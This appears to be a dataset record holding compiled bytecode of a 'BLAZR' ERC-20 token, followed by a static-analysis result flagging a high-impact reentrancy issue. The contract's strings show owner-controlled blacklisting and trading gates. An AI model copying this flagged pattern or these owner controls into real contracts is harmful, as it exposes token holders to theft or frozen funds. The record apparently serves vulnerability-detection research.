5b50610394610b3b565b6040516103a191906134a9565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f14565b610b61565b005b3480156103df57600080fd5b506103fa60048036038101906103f5919061312a565b610c51565b005b34801561040857600080fd5b50610411610d02565b005b34801561041f57600080fd5b5061043a60048036038101906104359190612f14565b610dd3565b60405161044791906136fc565b60405180910390f35b34801561045c57600080fd5b50610465610e24565b005b34801561047357600080fd5b5061048e60048036038101906104899190613157565b610f77565b005b34801561049c57600080fd5b506104a5611016565b6040516104b291906136fc565b60405180910390f35b3480156104c757600080fd5b506104d061101c565b6040516104dd91906134a9565b60405180910390f35b3480156104f257600080fd5b5061050d6004803603810190610508919061312a565b611045565b005b34801561051b57600080fd5b506105246110f7565b60405161053191906136fc565b60405180910390f35b34801561054657600080fd5b5061054f6110fd565b60405161055c91906134fa565b60405180910390f35b34801561057157600080fd5b5061058c60048036038101906105879190613157565b61113a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613041565b6111d9565b6040516105c291906134c4565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f14565b6111f7565b6040516105ff91906134c4565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190612f14565b611217565b60405161063c91906134c4565b60405180910390f35b34801561065157600080fd5b5061065a611237565b005b34801561066857600080fd5b50610683600480360381019061067e9190613081565b611310565b005b34801561069157600080fd5b506106ac60048036038101906106a79190612f6e565b61144a565b6040516106b991906136fc565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613157565b6114d1565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612f14565b611570565b005b61071c611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a09061365c565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613aef565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613a48565b9150506107ac565b5050565b60606040518060400160405280600681526020017f626c617a61720000000000000000000000000000000000000000000000000000815250905090565b600061088f610888611732565b848461173a565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108dd848484611905565b61099e846108e9611732565b61099985604051806060016040528060288152602001613fc660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f611732565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224d9092919063ffffffff16565b61173a565b600190509392505050565b6109b1611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a359061365c565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac89061361c565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b69611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bed9061365c565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c59611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd9061365c565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d43611732565b73ffffffffffffffffffffffffffffffffffffffff161480610db95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da1611732565b73ffffffffffffffffffffffffffffffffffffffff16145b610dc257600080fd5b6000479050610dd0816122b1565b50565b6000610e1d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123ac565b9050919050565b610e2c611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb09061365c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f7f611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110039061365c565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61104d611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d19061365c565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f424c415a52000000000000000000000000000000000000000000000000000000815250905090565b611142611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c69061365c565b60405180910390fd5b8060198190555050565b60006111ed6111e6611732565b8484611905565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611278611732565b73ffffffffffffffffffffffffffffffffffffffff1614806112ee5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112d6611732565b73ffffffffffffffffffffffffffffffffffffffff16145b6112f757600080fd5b600061130230610dd3565b905061130d8161241a565b50565b611318611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139c9061365c565b60405180910390fd5b60005b838390508110156114445781600560008686858181106113cb576113ca613aef565b5b90506020020160208101906113e09190612f14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061143c90613a48565b9150506113a8565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114d9611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611566576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155d9061365c565b60405180910390fd5b8060188190555050565b611578611732565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fc9061365c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c9061359c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a1906136dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561181a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611811906135bc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118f891906136fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196c9061369c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119dc9061351c565b60405180910390fd5b60008111611a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1f9061367c565b60405180910390fd5b611a3061101c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a9e5750611a6e61101c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611af45750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b4a5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f4c57601660149054906101000a900460ff16611bf057601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be69061353c565b60405180910390fd5b5b601754811115611c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2c9061357c565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd95750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f906135dc565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dc55760185481611d7a84610dd3565b611d849190613832565b10611dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbb906136bc565b60405180910390fd5b5b6000611dd030610dd3565b9050600060195482101590506017548210611deb5760175491505b808015611e055750601660159054906101000a900460ff16155b8015611e5f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e75575060168054906101000a900460ff165b8015611ecb5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f215750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f4957611f2f8261241a565b60004790506000811115611f4757611f46476122b1565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ff35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120a65750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120a55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156120b4576000905061223b565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561215f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561217757600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122225750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561223a57600a54600c81905550600b54600d819055505b5b612247848484846126a2565b50505050565b6000838311158290612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c91906134fa565b60405180910390fd5b50600083856122a49190613913565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123016002846126cf90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561232c573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61237d6002846126cf90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123a8573d6000803e3d6000fd5b5050565b60006006548211156123f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ea9061355c565b60405180910390fd5b60006123fd612719565b905061241281846126cf90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245257612451613b1e565b5b6040519080825280602002602001820160405280156124805781602001602082028036833780820191505090505b509050308160008151811061249857612497613aef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561253a57600080fd5b505afa15801561254e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125729190612f41565b8160018151811061258657612585613aef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125ed30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461173a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612651959493929190613717565b600060405180830381600087803b15801561266b57600080fd5b505af115801561267f573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806126b0576126af612744565b5b6126bb848484612787565b806126c9576126c8612952565b5b50505050565b600061271183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612966565b905092915050565b60008060006127266129c9565b9150915061273d81836126cf90919063ffffffff16565b9250505090565b6000600c5414801561275857506000600d54145b1561276257612785565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061279987612a2b565b9550955095509550955095506127f786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612add90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128d881612b3b565b6128e28483612bf8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161293f91906136fc565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906129ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a491906134fa565b60405180910390fd5b50600083856129bc9190613888565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506129ff68056bc75e2d631000006006546126cf90919063ffffffff16565b821015612a1e5760065468056bc75e2d63100000935093505050612a27565b81819350935050505b9091565b6000806000806000806000806000612a488a600c54600d54612c32565b9250925092506000612a58612719565b90506000806000612a6b8e878787612cc8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612ad583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061224d565b905092915050565b6000808284612aec9190613832565b905083811015612b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b28906135fc565b60405180910390fd5b8091505092915050565b6000612b45612719565b90506000612b5c8284612d5190919063ffffffff16565b9050612bb081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612add90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c0d82600654612a9390919063ffffffff16565b600681905550612c2881600754612add90919063ffffffff16565b6007819055505050565b600080600080612c5e6064612c50888a612d5190919063ffffffff16565b6126cf90919063ffffffff16565b90506000612c886064612c7a888b612d5190919063ffffffff16565b6126cf90919063ffffffff16565b90506000612cb182612ca3858c612a9390919063ffffffff16565b612a9390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ce18589612d5190919063ffffffff16565b90506000612cf88689612d5190919063ffffffff16565b90506000612d0f8789612d5190919063ffffffff16565b90506000612d3882612d2a8587612a9390919063ffffffff16565b612a9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d645760009050612dc6565b60008284612d7291906138b9565b9050828482612d819190613888565b14612dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db89061363c565b60405180910390fd5b809150505b92915050565b6000612ddf612dda846137b1565b61378c565b90508083825260208201905082856020860282011115612e0257612e01613b57565b5b60005b85811015612e325781612e188882612e3c565b845260208401935060208301925050600181019050612e05565b5050509392505050565b600081359050612e4b81613f80565b92915050565b600081519050612e6081613f80565b92915050565b60008083601f840112612e7c57612e7b613b52565b5b8235905067ffffffffffffffff811115612e9957612e98613b4d565b5b602083019150836020820283011115612eb557612eb4613b57565b5b9250929050565b600082601f830112612ed157612ed0613b52565b5b8135612ee1848260208601612dcc565b91505092915050565b600081359050612ef981613f97565b92915050565b600081359050612f0e81613fae565b92915050565b600060208284031215612f2a57612f29613b61565b5b6000612f3884828501612e3c565b91505092915050565b600060208284031215612f5757612f56613b61565b5b6000612f6584828501612e51565b91505092915050565b60008060408385031215612f8557612f84613b61565b5b6000612f9385828601612e3c565b9250506020612fa485828601612e3c565b9150509250929050565b600080600060608486031215612fc757612fc6613b61565b5b6000612fd586828701612e3c565b9350506020612fe686828701612e3c565b9250506040612ff786828701612eff565b9150509250925092565b6000806040838503121561301857613017613b61565b5b600061302685828601612e3c565b925050602061303785828601612eea565b9150509250929050565b6000806040838503121561305857613057613b61565b5b600061306685828601612e3c565b925050602061307785828601612eff565b9150509250929050565b60008060006040848603121561309a57613099613b61565b5b600084013567ffffffffffffffff8111156130b8576130b7613b5c565b5b6130c486828701612e66565b935093505060206130d786828701612eea565b9150509250925092565b6000602082840312156130f7576130f6613b61565b5b600082013567ffffffffffffffff81111561311557613114613b5c565b5b61312184828501612ebc565b91505092915050565b6000602082840312156131405761313f613b61565b5b600061314e84828501612eea565b91505092915050565b60006020828403121561316d5761316c613b61565b5b600061317b84828501612eff565b91505092915050565b6000613190838361319c565b60208301905092915050565b6131a581613947565b82525050565b6131b481613947565b82525050565b60006131c5826137ed565b6131cf8185613810565b93506131da836137dd565b8060005b8381101561320b5781516131f28882613184565b97506131fd83613803565b9250506001810190506131de565b5085935050505092915050565b61322181613959565b82525050565b6132308161399c565b82525050565b61323f816139ae565b82525050565b6000613250826137f8565b61325a8185613821565b935061326a8185602086016139e4565b61327381613b66565b840191505092915050565b600061328b602383613821565b915061329682613b77565b604082019050919050565b60006132ae603f83613821565b91506132b982613bc6565b604082019050919050565b60006132d1602a83613821565b91506132dc82613c15565b604082019050919050565b60006132f4601c83613821565b91506132ff82613c64565b602082019050919050565b6000613317602683613821565b915061332282613c8d565b604082019050919050565b600061333a602283613821565b915061334582613cdc565b604082019050919050565b600061335d602383613821565b915061336882613d2b565b604082019050919050565b6000613380601b83613821565b915061338b82613d7a565b602082019050919050565b60006133a3601783613821565b91506133ae82613da3565b602082019050919050565b60006133c6602183613821565b91506133d182613dcc565b604082019050919050565b60006133e9602083613821565b91506133f482613e1b565b602082019050919050565b600061340c602983613821565b915061341782613e44565b604082019050919050565b600061342f602583613821565b915061343a82613e93565b604082019050919050565b6000613452602383613821565b915061345d82613ee2565b604082019050919050565b6000613475602483613821565b915061348082613f31565b604082019050919050565b61349481613985565b82525050565b6134a38161398f565b82525050565b60006020820190506134be60008301846131ab565b92915050565b60006020820190506134d96000830184613218565b92915050565b60006020820190506134f46000830184613227565b92915050565b600060208201905081810360008301526135148184613245565b905092915050565b600060208201905081810360008301526135358161327e565b9050919050565b60006020820190508181036000830152613555816132a1565b9050919050565b60006020820190508181036000830152613575816132c4565b9050919050565b60006020820190508181036000830152613595816132e7565b9050919050565b600060208201905081810360008301526135b58161330a565b9050919050565b600060208201905081810360008301526135d58161332d565b9050919050565b600060208201905081810360008301526135f581613350565b9050919050565b6000602082019050818103600083015261361581613373565b9050919050565b6000602082019050818103600083015261363581613396565b9050919050565b60006020820190508181036000830152613655816133b9565b9050919050565b60006020820190508181036000830152613675816133dc565b9050919050565b60006020820190508181036000830152613695816133ff565b9050919050565b600060208201905081810360008301526136b581613422565b9050919050565b600060208201905081810360008301526136d581613445565b9050919050565b600060208201905081810360008301526136f581613468565b9050919050565b6000602082019050613711600083018461348b565b92915050565b600060a08201905061372c600083018861348b565b6137396020830187613236565b818103604083015261374b81866131ba565b905061375a60608301856131ab565b613767608083018461348b565b9695505050505050565b6000602082019050613786600083018461349a565b92915050565b60006137966137a7565b90506137a28282613a17565b919050565b6000604051905090565b600067ffffffffffffffff8211156137cc576137cb613b1e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061383d82613985565b915061384883613985565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387d5761387c613a91565b5b828201905092915050565b600061389382613985565b915061389e83613985565b9250826138ae576138ad613ac0565b5b828204905092915050565b60006138c482613985565b91506138cf83613985565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390857613907613a91565b5b828202905092915050565b600061391e82613985565b915061392983613985565b92508282101561393c5761393b613a91565b5b828203905092915050565b600061395282613965565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139a7826139c0565b9050919050565b60006139b982613985565b9050919050565b60006139cb826139d2565b9050919050565b60006139dd82613965565b9050919050565b60005b83811015613a025780820151818401526020810190506139e7565b83811115613a11576000848401525b50505050565b613a2082613b66565b810181811067ffffffffffffffff82111715613a3f57613a3e613b1e565b5b80604052505050565b6000613a5382613985565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a8657613a85613a91565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f8981613947565b8114613f9457600080fd5b50565b613fa081613959565b8114613fab57600080fd5b50565b613fb781613985565b8114613fc257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d53f48059a5bce8f7a179b00fccb4622d2d67614fca3a71206d6c15b46cc722b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,499